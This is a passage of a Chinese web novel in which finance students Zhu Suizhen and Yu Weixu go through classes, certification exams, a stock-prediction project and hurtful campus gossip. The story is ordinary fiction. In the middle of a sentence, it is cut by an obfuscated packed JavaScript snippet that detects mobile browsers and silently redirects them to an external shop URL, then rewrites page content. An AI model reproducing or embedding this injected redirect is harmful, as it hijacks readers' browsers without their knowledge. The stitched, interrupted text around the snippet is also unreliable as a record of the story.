他还没说什么,祝岁祯笑了下:“嗐,我跟你一个男生聊这些干什么……我要留着跟我舍友们说。” “无所谓啊,我什么都能聊。” 祝岁祯眼里闪过一丝狡黠:“哦,什么都能聊是吧?你和那位富家千金呢?上海不是又见了一次么?她怎么说?是不是因为异地所以就先没确定关系……” “可以了可以了。”俞惟叙扶额。 他总觉得祝岁祯一聊到他和林期尔,就很兴奋。 “还早呢,而且,性格也不太合适,我现在反正能拖就拖吧。她也乐得逍遥,继续跟她世界各地的‘男朋友’‘男闺蜜’们玩。” 她惊讶地问:“万一富婆姐姐跟别人好了怎么办?” 俞惟叙闭眼祈祷:“谢天谢地,那可太好了!我妈就能消停了。” 祝岁祯笑得快不行了,没想到俞惟叙竟然还挺抗拒这门亲事,在她看来强强联姻再好不过了。 她去年还见到新闻说,国内有俩行业巨头家的孩子结婚了呢,豪门和豪门从各方面都太配了。 他转移话题:“对了,你朋友圈里吃饭的照片,都是跟谁啊?看桌子上的手好像全是男的?不是有个女同事么?” 祝岁祯回忆了一下:“不是出差吃饭的照片,是日常工作餐。我、何希簏、我俩的带教老师。何希簏就是我邻居家的学弟。” “何……啊?你俩怎么又碰上了?” “实习是他帮忙介绍的,不然我没有机会去面试,人家要研究生呢。” “你要实习找我啊!基金、券商、银行的总部,不说随便哪家都能进吧,起码能给你找个头部。” 祝岁祯笑笑:“你家的实力我当然知道啦。我本来没准备实习的,想趁这个假期研究一下论文怎么写,为保研做个准备。” 俞惟叙对国内的保研政策不了解,只是点点头听她讲。 “这个实习是基金公司缺人,学弟突然推荐过来的。我想着机会难得,论文等开学了再说吧,临时决定去的。” 俞惟叙听完,倒也没多问,话题一转:“你准备大四保研吗?有梦校吗?” 祝岁祯思考着,惆怅地叹口气: “有两个北京的学校想去,比咱学校好。但是金融保研太卷了,我怕大三的成绩会掉。而且……” 她抿了抿嘴:“我这回实习,感觉挺好的,但是写论文我就很不喜欢。前些日子跟两个带教老师交流过,我发现我真不适合做学术。” 俞惟叙笑道:“你知道你这叫什么吗?天选牛马圣体。在职场上一路升级打怪往上爬,当高管和企业家。” 两人又聊了几句,祝岁祯要去收拾行李,俞惟叙也得专心吃饭,就挂了电话。 第二天退了房子,祝岁祯回家去整理实习期间学到的知识。 剩下的日子,她买了资料备考银行从业,一直看到8号开学。 -.- 开学第一天第一节是证券投资学,这是个大班课,与金融学、统计学的专业班一起上。 和舍友从后门进去,她一眼就看到众星捧月般的俞惟叙,坐在最后一排被好几个同学围住聊天,说两年没见他了,比走的时候更帅了。 大黄胳膊搭在俞惟叙肩膀上:“我们宿舍也就俩月没见吧,暑期实践还是一起做的。” 箫剑看到四个女生进教室,连忙招呼她们来坐,已经占好座位了。与大一开学一样,祝岁祯和舍友们坐在他们宿舍前面那排。 一个同学:“哎俞惟叙你知道吗?去年咱们院,有仨人想申请你那个牛津项目,结果俩材料没过、一个面试没过。” 另一个同学:“他们都说牛津的论文要求特别严格,口语也是。” 第三个同学:“哇,真的,这么看来你更厉害了,怎么做到的?你高中有竞赛吗还是?” 鸡哥说:“他有个计算机的小竞赛,就是参加得太晚了,不然能靠竞赛保送更好的学校。” 大黄说:“咱们高中一科科刷题,人家只研究数学、物理和计算机。初中啥的都是在英国私校读,就这个背景,牛津肯定喜欢。” 箫剑笑道:“我记得他语文只考了103,就这还是补了半年的结果。数学物理和英语几乎满分,我都怀疑他是中国人吗?” 俞惟叙无奈了:“有你这么说话的吗?我考103也不容易啊,好歹上100了!” 周围人哈哈大笑。 旁边有同学问:“你也是奇怪,这么强的背景为什么不直接走美本英本,干嘛要在国内上?” 俞惟叙回他:“本来是这么计划的,不然也不会去国外念初中。但是后来国外不是爆发流行病么,我家里人无论如何也要我回来上学,放心些。” 同学们都明白了。 上课的时候,俞惟叙听了一会儿课就不听了,打开电脑在忙公司研发的事情。 他舍友们都表示看不懂俞惟叙在敲什么代码、看什么资料,直呼这是商业机密。 俞惟叙笑说真正的机密不会就这么大大咧咧让他们看,只是在处理一些常规的东西。 大家都戏称俞惟叙为“鱼老板”,说以后公司要有什么投融资的部门,或者准备上市,一定要记得栽培栽培舍友们。 下一节的金融与人工智能应用,就是金工班的小班课了,上课地点也从教学楼变成金融学院三楼。 收拾了书包后,祝岁祯和俞惟叙两人一起转换阵地。 “你什么时候回来的?”祝岁祯问。 “昨天,跟我妈报告了一下研发中心的进度,就过来收拾屋子。” 他颇为难过地说:“唉,我走的时候忘了给家政交代了,书桌上有一颗多肉,两年没人浇水,挂了……” 祝岁祯好像有点印象,大一去他家拿香薰的时候,看见过他桌上有个带着黑色花边的多肉。 “这位已经离世的朋友是我从日本带回来的,过海关申报检疫那真叫一费劲。” 祝岁祯见他这么真情实感,问:“是很名贵的品种吗?” 俞惟叙点头:“当时是日本刚培育出来的一个新品种,我买的这颗是原株,花了快十万呢。虽然这个品种现在已经烂大街了……” “原株……是什么意思?” “就是现在市面上这个品种的多肉,全部是原株的子孙后代,我这颗是老祖宗级别的。” “我滴个……那你得把它好好葬了,风光大办,不然它的子子孙孙可要找你麻烦。” 俞惟叙艰难地说:“去了垃圾焚烧厂,算大办吗?” 祝岁祯:…… 祝你好运。 路上俞惟叙又讲了些他花大钱被坑的经历,祝岁祯简直要被笑死。 “小时候高价收了些所谓的名师匠心之作,结果发现都是made in China!然后我妈说再买这些破烂就把我卡停了……” 到了金融学院的教室,俞惟叙指了指最后一排靠墙角的位置,示意她一起去那里坐。 祝岁祯犹豫了下,她可是一直都坐前排的人,但既然鱼仔刚回来,就和他一起吧。 俞惟叙放下包:“为什么要隔一个桌子?干嘛不挨着我坐。” 祝岁祯其实就是不想显得两人关系太近,毕竟她一直是谣言龙卷风的风眼。 但她临时找了个理由,指了指他的书包: “您这又是电脑又是pad,我怕桌面太挤影响您工作。金融学院的课桌比教学楼的小。” 俞惟叙看了看:“哦,好像还真是,你不说我都没发现。行吧。” 有同学路过后排,看着他俩,脸上浮现诡异的笑容。 “你们两个人居然坐一起了呀~啧啧~” 俞惟叙和祝岁祯同时疑惑地抬头看那人。 “颜值组合,狗路过了都得看两眼再走。” 两人:…… 接下来的事态发展有点不对了 ,前排的人频频转头看他俩,还交头接耳地低声聊着什么。 祝岁祯心里警铃大作。 偏偏这时候,俞惟叙身子探过来,把手机拿给她看,是上学期的课表。 “你们上学期,就是大二下,有金融数值计算和大数据金融的课吧?” “嗯。” “你有这两门课的课件资料吗?” 祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322448|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁祯又瞥了眼前排的同学,似乎因为俞惟叙的动作而有更多人回头看。她跟俞惟叙说话突然感觉到有些压力。 “好像有,我看一眼pad,应该没删。” 祝岁祯低头翻文件夹,俞惟叙观察她的pad说:“好像很少有女生用这么大屏幕的pad pro,你每天上课都带着吗?不嫌沉啊?” 她点点头:“沉,但是没办法,手里只有它。” 祝岁祯操作到隔空传送界面,拿给俞惟叙看。他点了一下自己的设备。 “三克油。我来补补课。” 俞惟叙飞速刷课件,同时还分心看着工作群里的消息,几分钟后老师进来,调试电脑开始上课。 “……同学们,卡内基梅隆大学的 Tom Mitchell 教授对机器学习的定义是什么呢?注意看,对于某类任务T和性能度量P……那么我们称这个计算机程序在从经验E中学习……” 金融学院的教室比较老,没有和主教学楼一样都换了智慧教学大屏,还用着N年前的投影仪。 老师指着上面的课件来回走动讲解的时候,身上像被拓印了纹身,随机变量期望公式在他胳膊上反复闪现,又像水里波动的倒影,梦幻而诡异。 祝岁祯一手托腮,努力把注意力拉回来听课,但眼睛还是不受控制地瞟到旁边俞惟叙那里。 他已经没在看pad上的课件了,正对着电脑研究什么,侧脸专注而严肃,修长的手指如飞,快速敲着键盘。 滑了滑触控板,他皱着眉看几眼笔记本屏幕,有点烦似的抬头看了眼教室前方,突然注意到祝岁祯的视线。 两人无声地相视一笑。 祝岁祯斜了点身子轻声问:“都是你已经学过的东西吗?”她指了指前面的投影仪。 俞惟叙点头。 “你工作有什么麻烦事吗?”她又问。 他下巴朝着电脑扬了扬,也倾过身子和祝岁祯凑近低声说:“屏幕太小不够用。” 祝岁祯懂了,他想回去了。 课上到一半,老师给了个惊人的任务。 这门课程的考察方式不是期末考试,而是让大家结合已经学过的其他课程知识,建立机器学习模型,基于老师给出的股票数据,预测下一交易日股票涨跌幅最大的前十支股票。 可以组队,也可以单干,组队的话不能超过三个人。 成绩有三个评价维度:第一是预测越准成绩越高,第二是越早提交成绩越高,第三是小组人越少成绩越高。 不愧是副院长,给的作业直接覆盖了两年半的各门学科知识。 基础不牢,地动山摇。 同学们对着这张PPT,痛苦地小声抱怨。后排的人说话祝岁祯能听清,大多都是表达同一个意思: 我们学金工沾点计算机的边,别真把我们当软件学院的学生啊…… 祝岁祯有点懵,下意识地看向俞惟叙。 他似乎已经在等着她了,刚好接住祝岁祯的目光,然后给她一个安心的眼神: “咱俩组队,哥带着你。” 她抿嘴笑了。 什么哥?她才是姐好吗? 老师继续说:“历史股价数据压缩包我会发给班长,然后班长记得做个云文档,大家把组队情况报进去。 “独行侠们就不用说了,组队的选个组长,把代码和报告发我邮箱,截止日期在PPT上,大家注意一下时间。” 老师刚交代完,下课铃响起。 中间休息,老师刚出教室,祝岁祯周围就“呼啦”围上来五六个人,把她吓了一跳。 结果这些人都是冲着大佬去的,想抱俞惟叙大腿跟他组队。 俞惟叙抱歉地笑笑,指了指旁边: “我和她已经组好队了,再加一个人的话成绩会打得低,你们要不然再看看别的大佬?” “喔~~~”几个人异口同声地起哄,“什么情况啊你们两个~” 祝岁祯实在是招架不住,拿着水杯起身。 俞惟叙见状,把自己的水杯递给她:“帮忙,谢谢。” 此举简直是火上浇油!祝岁祯快速接过来,在同学们加码的起哄声中,赶紧逃出去。 接水时旁边刚好站的是何希簏,俩人惊讶地打了个招呼。 何希簏实习的时候跟她说过,他也要选金融工程,这堂是金工的统计学。 祝岁祯想起来了,去年统计学确实是在金融学院楼上的小班课,当时她以为会和舍友们一起呢,看到课表教室时有点难过。 她告诉何希簏,统计学和概率论一定要好好学,后面就知道了,大三还得用。 何希簏表示明白,然后问:“这个杯子是你的吗?看起来像是Dior家的。” 祝岁祯拿起俞惟叙的杯子仔细观察,花纹中确实有个品牌名。 “同学的,帮他接个水。厉害啊,你个男生比我还懂。” 何希簏无奈道:“我没有很懂,是小玥之前念叨着想买,天天看网上的帖子。” 祝岁祯把盖子盖上:“她还用看帖子?直接买了得了,不是挺有钱的吗?” 何希簏撇了撇嘴:“也没特别有钱。迪奥的杯子她妈妈不想买,觉得一两千有点贵了。” 祝岁祯看向这个杯子:“一两千啊?那确实挺贵的,犹豫也正常。不过,我上次看朋友圈,她说跟你分手了,现在呢?” 他无奈道:“又复合了。吵个架非要发朋友圈说分手,过几天又缠着要和好,然后告诉她同学说是我挽回她……我的面子往哪儿搁?” 祝岁祯笑着摇摇头:“哎哟,小情侣就是这样的啊,你大度点,学妹挺可爱的。” 祝岁祯回到教室,座位旁的几个人还没走,甚至多了俩。 有个校学生会外联部的同学,说想让观鱼赞助学校的晚会,到时候给他家打广告。 其他同学笑道,现在谁还不知道俞惟叙家的公司,要你打广告? 俞惟叙很爽快地说:“可以啊,多少钱,回头我和我妈说一下。” 那同学说院级的大概也就五六千,校级的多一些,三四万的样子。俞惟叙说没问题。 大家赞叹老板果然是老板,这点小钱根本都不在乎的。 快上课了,同学们都回到座位,祝岁祯把杯子给他。 “这是Dior的杯子啊?不是女生用的吗?” 俞惟叙道了谢:“黑白花纹不分男女吧?我也不知道,这种东西都是销售送我妈的,家里阿姨随便拿了个给我用。” 然后他小声问她,学校的主持人大赛要不要报名。 祝岁祯从来不参与这种比赛,连去看看都没兴趣。 学校的活动里她主动参与的只有电影放映厅,偶尔抢个票去看看感兴趣的影片,不花钱。 她问:“怎么?你要报名啊?” “不是,我这不听他们提起来了吗,印象中你之前主持过什么论坛来着,参加比赛肯定能拿个奖回来。” 祝岁祯摇头:“我不行,比赛拿名次的话会紧张,而且没空。之前在宿舍楼下看过海报,流程很复杂的,要想拿奖,得好几轮淘汰,一个多月都别想安生。” 俞惟叙点点头,没说什么。 不过祝岁祯倒是开始思考这件事,觉得最好还是参加一下,就算不拿奖也能锻炼锻炼、扩大交友范围。 自己朋友圈基本都是学金融、干金融的,没什么理工科文科之类的朋友。 但今年的课都挺硬核,她也确实没什么功夫,只能先把这件事放下。 下午的金融统计分析,是学院大班课,在科研楼机房上课。 两个宿舍还是前后两排坐在一起,祝岁祯看到朋友圈里,之前培训时认识的一个老师发了报考提示,突然想起来这两天要报期货。 “我要报今年第二场的期货从业考试,盆友们,有人和我一起奋斗吗?”她打开了协会网站,开始注册。 鸡哥:“期货?我去,祝岁祯又开始卷了你个宿舍姐。” 小羊:“啊?什么?今天报名吗?” 箫剑:“期货不是一年一次吗?上半年的已经考过了啊?” 俞惟叙满头雾水:“你们在说什么?” 鸡哥解释:“这是我们金融牛马要考的证书,你个资本家就别瞎掺合了。” 祝岁祯说:“今年新增了一场统一考试,就这两天报名,欲考从速啊,机位很紧张的,我要报了各位随意。” 她朝俩宿舍又补充了一句:“对了,银行从业的报名也快截止了,你们可以今天一起报。” 俞惟叙不可置信地看着她:“同时报两个考试?你有时间吗?” 祝岁祯淡定地说:“银行从业不难,60分通过还是比较容易的,真题我已经刷4套了。 “期货是最难的,这个我会好好准备一下。” 俞惟叙唇边一抹无奈的笑:“真可怕。” 祝岁祯一边设置登录密码,一边云淡风轻道: “这就可怕了?期货考完还有基金从业的报名呢,俩月仨证书,咱玩的就是刺激。” 周围齐齐惊叹:“卧槽……” 梦梦:“祯祯啊我亲爱的舍友你疯了?” 大黄:“祝岁祯要卷死我了救命啊……” 俞惟叙:“你是准备不上大四了,直接找工作吗?这么着急?” 祝岁祯没想到大家反应这么大,她解释道: “我也不知道能不能都通过,先报了试试吧,因为这些考试有的一年才办一次,我怕明年有什么事耽误考不了。” 见俩宿舍还在说她卷、说她太拼不要命,祝岁祯无奈道: “这算什么卷啊,只是穷而已。人家都在备考CFA呢,我这不是没钱嘛,报名费太贵了。” 俞惟叙还在调侃祝岁祯这么喜欢考试呢,没几天,导员找到他。 会爷说看他骨骼清奇、慧根极佳,定是个参加大学生数学竞赛的好苗子,是金院拿国家一等奖的希望。 俞惟叙:…… 36.第三十六章 俞惟叙高考数学成绩不错,在牛津的数学相关科目成绩也很优秀。 今年的全国大学生数学竞赛要报参赛名单了,学院把目光投向了俞惟叙这个金疙瘩,对他寄予厚望。 祝岁祯这次说啥都不去了,有功夫还是刷刷题、考几个证书实在。 但俞惟叙手头事挺多的,研发中心刚起步,他一天大部分时间都要用来工作。 他虽然也不想去,但最终还是同意了,说跟学院谈了条件,能允许他考前不来上课,在家做题训练。 俩宿舍狂吹彩虹屁,说他是全院的希望、未来的数学之星、人类科学文明的里程碑。 古有苹果砸牛顿、今有鱼仔战数竞……越说越离谱,连八杆子打不着的其他学科也拿来吹他。 俞惟叙扶额:真是够了,别给我喂毒奶。 时间就在祝岁祯紧锣密鼓的备考中过了两周,她挤出一切空闲刷题背题。 小班课上,俞惟叙在旁边看了都叹为观止,说她上大学年轻了三岁:又回到高考前了。 祝岁祯笑笑没理他,俞惟叙想聊个天却不敢打扰她,日子过得甚是乏味。 他俩乏味,别人却不乏味。 两人本来就几乎是整个学院的焦点,俞惟叙回来以后,大家对他的关注度直线上升。 大班课,俩宿舍坐一起也就算了;上小班课的时候,这俩人每次都一起坐在最后一排。 同学们有目共睹,去年小班课祝岁祯一直坐前排,就是那种没人爱坐的、离老师近的地方。 真是奇了怪了,前两年没听说他俩熟啊?怎么俞惟叙一回归,就跟祝岁祯挺亲近的样子…… 渐渐地,各种流言和猜测甚嚣尘上,让俞惟叙知道了祝岁祯这两年都活在什么环境里。 -.- 下午的国际金融小班课,俞惟叙在出发前给她发了信息,说在宿舍区旁边的小花园等她,有事要聊。 祝岁祯如约而至。 俞惟叙带她绕路,祝岁祯看了眼时间,还早,就跟他一起往交流中心南侧小路走。 她觉得俞惟叙的表情好像不太对,但他没吭声,只是沉默地慢慢走。 右边不知道是哪个学院的楼,爬山虎几乎布满了整面墙,大块大块的浓绿色中变异出些许黄绿色。 她知道,约莫十月中旬的时候,这些爬山虎会烧出像枫叶一样的红色。 可现在是阴天,这几层楼高的墨绿色却给人一种沉沉的压迫感。 俞惟叙犹豫着开口:“你最近忙着备考,有跟你舍友们聊聊天吗?” 祝岁祯迷茫道:“聊天?偶尔两句吧。你要说促膝长谈之类的……好像没有。怎么了,你要找谁吗?” 他摇了摇头,有点不知道怎么说似的:“我回来才发现,咱们学校的人真挺爱八卦的。” 祝岁祯看着他,等他的下文。 “前两天不少人问我,是不是跟你谈恋爱了呵呵……” 她愣住,脚步也停下了。 俞惟叙歪了歪头:“边走边聊。” 他继续说:“我也是觉得挺好玩的,就问怎么回事……嗐,原来他们看咱俩小班课经常坐在一起。” 他尽量用柔和的方式说:“你可能没听到,有些八卦说你说得有点……我真是服了,你是什么样的人,咱们俩宿舍都清楚。” 祝岁祯的眼神轻飘飘落在地面花砖的缝隙上,形状好看的嘴唇紧紧抿着,没有要讲点什么的意思。 “不过,我自个儿琢磨着,开学的时候是我喊你来后排坐的,你看咱俩相处得不是挺愉快么?但是现在就因为这事,搞得让你受些委屈,实在是不合适。 “其实本来我觉着,这些人爱八卦就八卦吧,反正咱学咱的。不过……今年我们公司有个员工的孩子也考上M大了,我怕这些乱七八糟的消息传到我妈耳朵里。” 俞惟叙努力不看她的脸,内心有些难过地挣扎着: “之前在上海跟你提过一嘴,我妈不是有个相中的女孩么……” 话都说到这里了,祝岁祯哪儿还有不明白的。 她扯了扯嘴角,故作潇洒: “哦,这有什么的,我最近两眼一睁就是刷题,确实没太关注八卦。那就分开坐呗?哈哈。” 她又找补了一下:“我本来和你一起坐后面,是担心你回来不太适应,你要是感觉还行了,那我回我原来的位置咯?” 走出交流中心旁的这条小路,两人左拐。祝岁祯没有意识到自己脚步正在变快,俞惟叙不得不也扩大了步伐长度。 “你……要去前排坐了?”俞惟叙实在有些不舍。 祝岁祯撇过头去,没让他看到自己的苦笑。 这不是他的意思吗?现在说这句话又要干什么? 她走慢些,看了眼他,见俞惟叙平时锐利深邃的眉眼里,居然多了点说不清道不明的朦胧。 祝岁祯只以为这朦胧是因为他很会做人,不好意思跟她提这种要求。毕竟不管怎么委婉,都有点伤同学情谊。 那么就由她来说出口好了。 “对,我去年小班课一直在前排坐的,老师站跟前比较提神,不然容易学不进去。那么,你就还在原来的位置上了?” “嗯。” “行,就从这堂课开始吧,以后不会打扰你的。” “哎哎!”俞惟叙拉住她书包带子,“别啊,有事尽管找我。” 他微微叹了一下:“我和你商量这些,不是要和你撇清关系。咱们还是好朋友,只是表面上不给别人说闲话的机会罢了。” 祝岁祯把书包带子轻轻扯回来,并不看他: “我知道的呀,你也是为了我好嘛。那些八卦内容不是男女关系就是利益纠葛,确实不好听,多谢你提醒我。” 俞惟叙有点心疼地看着她。 他前两天听那些八卦流言的时候,颇替她生了些气。但看她这幅波澜不惊的样子,似乎已经习惯了。 她低着头:“我会小心一些的,有什么事就私聊?这样可以吗?” 俞惟叙看不见她的表情,只好瞧着她莹白耳朵前、细细碎碎的、柔软排列着的鬓角绒发。 “好。咱们上大课的时候,两个宿舍还是要坐一起啊,你别和赵楚洋说这个事。” 她点点头:“嗯。快去上课吧。” 俞惟叙以为两人谈妥了,脚步轻快地和她一起往教学楼走。 到大门口,上台阶时,祝岁祯说她想在一楼的自助贩卖机买瓶饮料,让他先上楼去教室。 两人分开后,祝岁祯站在贩卖机前,漫无目的地看着一瓶瓶饮料,眼睛似乎无法聚焦,脑子里全是刚才的事。 茫茫然的失落笼罩在她身上,祝岁祯想起假期里杜老师说的话。 她是不是真的有点喜欢俞惟叙? 应该不是吧?她只是交友太少,所以把俞惟叙当作关系好的朋友罢了。 人家富二代圈子里的好友多了去,没必要因为她污了自己名声,毕竟两人毕业后大概没什么交集。 她只是有点后悔,开学这段时间不应该和他坐在一起的。 两人表面上没什么交集,就不会被人说闲话。那么这段在她看来算得上友谊的情分,是不是还能再多维持一段时间? 可现在作再多的假设也没用了,就这样吧。 她回过神,看了眼电梯,已经没有他的身影了。 和他岔开进教室的目的已经达成,没必要买饮料了。她转身朝电梯走去。 608教室热热闹闹,祝岁祯直接从前门进,目不斜视地径直走向第一排正对着教学屏幕的座位,放下书包。 她身后的两排安静了下来,大家不约而同地转头,看教室最后一排的角落。 俞惟叙一直盯着教室前门,从祝岁祯进门的那一刻,他的目光就牢牢锁住了她。 意识到不少同学转身看他,俞惟叙迅速垂下眼睛,若无其事地打开自己写了一半的股票预测模型,继续敲代码。 很快,有人凑了过来。 “俞大佬,祝岁祯怎么不来你这里坐了?你俩闹矛盾了?” 俞惟叙默默地看了他几秒,猜测那些造谣的人里会不会有他。 直到对方被盯得心里发毛,俞惟叙才开了尊口:“她怎么没跟你一起坐呢?” 这同学夸张地笑了一下:“她……她跟我一起坐?开什么玩笑?她怎么可能看得上我?” 俞惟叙冷着脸,继续敲代码:“那我跟你一样。而且,为什么坐在一起就是看上你了?不能就只是坐在一起吗?” 对方似乎意识到了俞惟叙在怼他,悻悻地回到座位上。 老师还没来,祝岁祯把笔和书本放在桌子上,坐着发呆。 突然,她想到什么,掏出手机点进金工班群,找到之前那个预测模型分组作业的云文档,将自己的名字从俞惟叙那一行删除,滑到最后一行新增了个小组,把自己的名字敲进去。 她要自己做股票预测模型的作业。就算模型跑出来的结果再差、分数再低,那也是她学得没别人好、是她活该。 “祝岁祯,你怎么坐回来第一排了?”身后一个男生问她。 她稍稍侧了些身,瞎话张口就来:“我近视度数又涨了,懒得去配眼镜,所以坐前面来了。” “哦哦,我们还以为你和俞惟叙吵架了呢。” 祝岁祯语气平淡:“只是同学而已,不要想太多。” 上完课,祝岁祯从食堂带饭回宿舍,见梦梦在阳台练舞。 梦梦上个学期,就是大二下的时候,报了舞蹈课学跳街舞,想cover她粉的那个团的舞蹈,然后录小视频。 祝岁祯见她练得辛苦,没找到机会聊天,只好坐下来打开饭盒。 远文回宿舍,祝岁祯见她没什么事,就直接问了:“你们有听说,院里最近在传关于我的八卦吗?” 远文愣了一下,脸上浮现些许尴尬:“呃,你听说了啊?其实之前想告诉你来着,但是你挺忙的,我们就没打扰你。” 祝岁祯从桌上拿起餐盒,转过来面朝着她:“你说,我边吃边听。” 远文笑道:“别了吧,我怕你被气得消化不良。” 祝岁祯夹了一筷子醋溜土豆丝:“来吧,没事,我有心理准备。” 远文只好一五一十地,把她听说的讲给祝岁祯。舍友们已经告诉别的同学,祝岁祯不是那样的人,但大家好像根本不关心真相,只是拿祝岁祯当乐子。 祝岁祯猜得不错,就是男女和利益那点儿事,没什么新鲜的。 有的说她眼光高,只喜欢帅的,没追上何希簏就勾搭俞惟叙。 有的说她家里条件差,爱钱,想嫁高富帅,努力学习就是因为有钱的婆家都喜欢儿媳漂亮又学历高,拿得出手。 更有甚者,直接编造她乱搞,证据就是军训时晕倒。 当时俩宿舍嘴都挺严的,没多往外说她男朋友去世的事,毕竟死者为大,有点忌讳。所以M大的同学们都只知道她恢复单身,怎么分的不知道。 所以有不知情者就猜她怀孕了,否则无法解释为什么军训那天明明不算很热,她却晕倒。一定是因为怀孕身子虚,然后她前男友不想要孩子,就跟她分手了…… 祝岁祯直接听乐了:“咱金院才几个人啊?怎么能搞出来这么多版本? “所以按照这些流言,我应该高中毕业就怀了孕,然后流产或者是堕胎了。 “大二时苦苦追求学弟未果,大三时又看上了交换回来的俞惟叙,妄想嫁进豪门? “这中间我觉得还应该再加上:被前男友甩了所以精神受到创伤。” 远文也笑得不行:“那不能,精神创伤了还怎么学习?你的排名不允许你受到创伤,咱家没这个条件。” 祝岁祯翘着二郎腿,把辣椒挑出来扔垃圾桶: “听起来其实还蛮酷的,很像那种青春疼痛文学里的少女,吸烟打架酗酒逃课堕胎,然后还随便学学习就考上了T大P大,在顶级学府里坐在校草旁边怀念青春。” 远文一拍手,指着她:“哎!这味儿对了!” -.- 过了两天,俞惟叙才发觉事情不对劲,祝岁祯这是根本就不理他了。 路上见了,她头一低装作没看到,直接躲开。上大班课的时候,也没跟他有任何交流。 他原以为祝岁祯是因为马上要考试了,实在没功夫……但也不至于一丁点儿眼神都不给啊? 俞惟叙想起她很久之前说过他送的巧克力好吃,这次直接外卖定了一千块钱的,准备也送自己舍友一点,省得看起来太刻意。 当他在大班课前给两个宿舍分venchi时 ,周围的同学都投来羡慕的目光。祝岁祯的舍友们惊喜地接下巧克力,太大颗,多到要用两个手捧着。 但祝岁祯连头都没回。 俞惟叙心想:果然在跟我闹别扭。 她舍友毫不知情,喊祝岁祯薅富二代零食,让她先别学了,不差这几秒钟。 俞惟叙直接站起来,借助身高和臂长的优势俯身,一手撑着自己的桌子,一手把巧克力袋子放在她桌上。 “给你的。” 声音几乎是从头顶传来,吓祝岁祯一跳,紧接着桌子上出现一个袋子,里面装着几颗巧克力,好像在战场上给她空投了物资。 祝岁祯别提多想吃了,可她这时候偏偏矫情起来,开始给普通的东西赋予含义。 送别人巧克力,不是有那个意思嘛! 在座的各位,谁吃都行,唯独祝岁祯,一个正在被传绯闻的人,不可以。 祝岁祯放下笔,拿起袋子转身准备还给他。俞惟叙见势不好,手迅速一挡:“你干嘛?大家都有了,就剩你。” 祝岁祯开口和他说了这几天来的第一句话:“我……减肥,不吃了,你分给别人吧。” “哈???”周围人异口同声,那神情分明不信。 祝岁祯已经快瘦成一条人了,还能减到哪里去? 祝岁祯看大家的反应,觉得自己这个借口也确实找得有些勉强。 “呃,我就拿一块尝尝吧,谢谢啦……剩下的我分了。” 给两个宿舍分了一圈,刚好俞惟叙没有。 大黄见他盯祝岁祯背影的眼神,实在算不上高兴,于是大方地把自己刚拿到的那颗分给俞惟叙。 俞惟叙瞧这颗巧克力,怎么看怎么不顺眼,强行跟大黄换了另外一个颜色的。 他要和祝岁祯吃同一个口味。 俞惟叙一边剥锡箔纸一边生气,盘算着等她明天考完,一定要找她好好聊聊到底怎么回事。 第二天,祝岁祯非常艰难地考完了期货,这个考试确实有些难,买的真题卷上原题并不多。 而且基础知识科目还有一定的计算量,考场里那破键盘用着真费劲。 她出了考场,就后悔当初大意了,怎么能报名的时候才开始学……应该假期早点看书把基础打牢。都怪她先刷了银行从业的题,搞得她以为期货也这么简单。 回学校的地铁上,祝岁祯从书包里翻出那块巧克力,悄悄剥开包装放在嘴里,当作对自己辛苦考完试的奖励。 考完紧接着是国庆调课,俞惟叙都选好时间了,就等喊她出去单独聊。 结果有人来问祝岁祯考得怎么样、有什么经验可以参考。俞惟叙见祝岁祯摇了摇头,说这次考得不好,不知道能不能过。 他气势一下子就灭了。 还是算了吧,她心情肯定特别差。 祝岁祯吸取教训,国庆节也不回家了,每天安排计划备考银行从业和基金从业,学腻了就设计预测模型作业的框架流程,假期过得比上课还累,唯一的区别是不用在各个教室间来回跑。 但就在这个假期,M大金院的天塌了,准确地说是即将保研的学生们的天,塌了。 这一届大四外保的学生里,有三个都已经提交了拟录取的确认,结果又反悔,冒着被招生老师和本校学弟学妹们骂死的风险,把对方学校给鸽了…… 关键是这仨学生,拟录取的学校正好是祝岁祯想去的那两所。 她只想往更好的学校保,而且想继续在北京待着。T大、P大是不可能了,只剩两所可选。 并且这仨学长学姐搞事,明年她们这届的保研名额肯定更少、被放鸽子的院校也不会想再招M大金院的了。 金院从大一到大三、有保研意向的学生全都在哀嚎,嚎得最厉害的就是祝岁祯这届。原本徘徊在保研名次边缘的人,可能连保本校的机会都没有了。 据说很多学生和院里反映,说一定要惩罚这三个人,反正闹得蛮厉害,就连祝岁祯这种忙忙叨叨、两耳不闻窗外事的都听说了。 旁边宿舍也有成绩排名靠前的同学没回家,祝岁祯出去上厕所的时候和人聊了几句,发现大家对明年的情况都挺悲观的。 金融保研本来就神仙打架,再被拖后腿就更完蛋…… 她现在综测排名被大家各种卷论文、卷期刊、卷竞赛活动给挤下去了,又没什么人脉,搞不好最后真只能保本校。 祝岁祯觉得自己得多花精力在找工作上,形势比人强啊。本来就不想读研,只能保本校的话,还不如去工作呢。 她赶紧回去继续刷题,什么模型作业,先往后靠靠吧。 国庆节之后,俞惟叙发现祝岁祯备考好像走火入魔了,原先她上课还认真听讲来着,现在开始主攻刷题、偶尔听课。 俞惟叙自己也忙得够呛,一边管研发那边的进度,一边要开始训练竞赛的题目,俩人跟比赛似的看谁听课听得少。 祝岁祯期货的成绩出了,基础知识78分、法律法规69分,好险!总算是拿到证书了。 她查完成绩,焦虑不安的心总算落地。其实也不用着急,挂了就明年再考,但她想假期里找实习,还是希望多个证书多个选择。 男生宿舍也替她高兴,说要不然晚上俩宿舍去学校旁边的小馆子搓一顿。祝岁祯连忙摇头,说不用为了她庆祝,而且她和梦梦晚上还有选修课,时间也不太充裕。 第二天,金融与人工智能应用小班课前,祝岁祯被俞惟叙叫了出来,两人在楼道尽头步梯转角处停下。 上行楼梯的底部靠近楼梯门的地方,有一米多宽的墙体,刚好能挡住两人不被楼道里的同学看见。 “为什么把小组拆了?”俞惟叙手插在兜里,没好气地质问她。 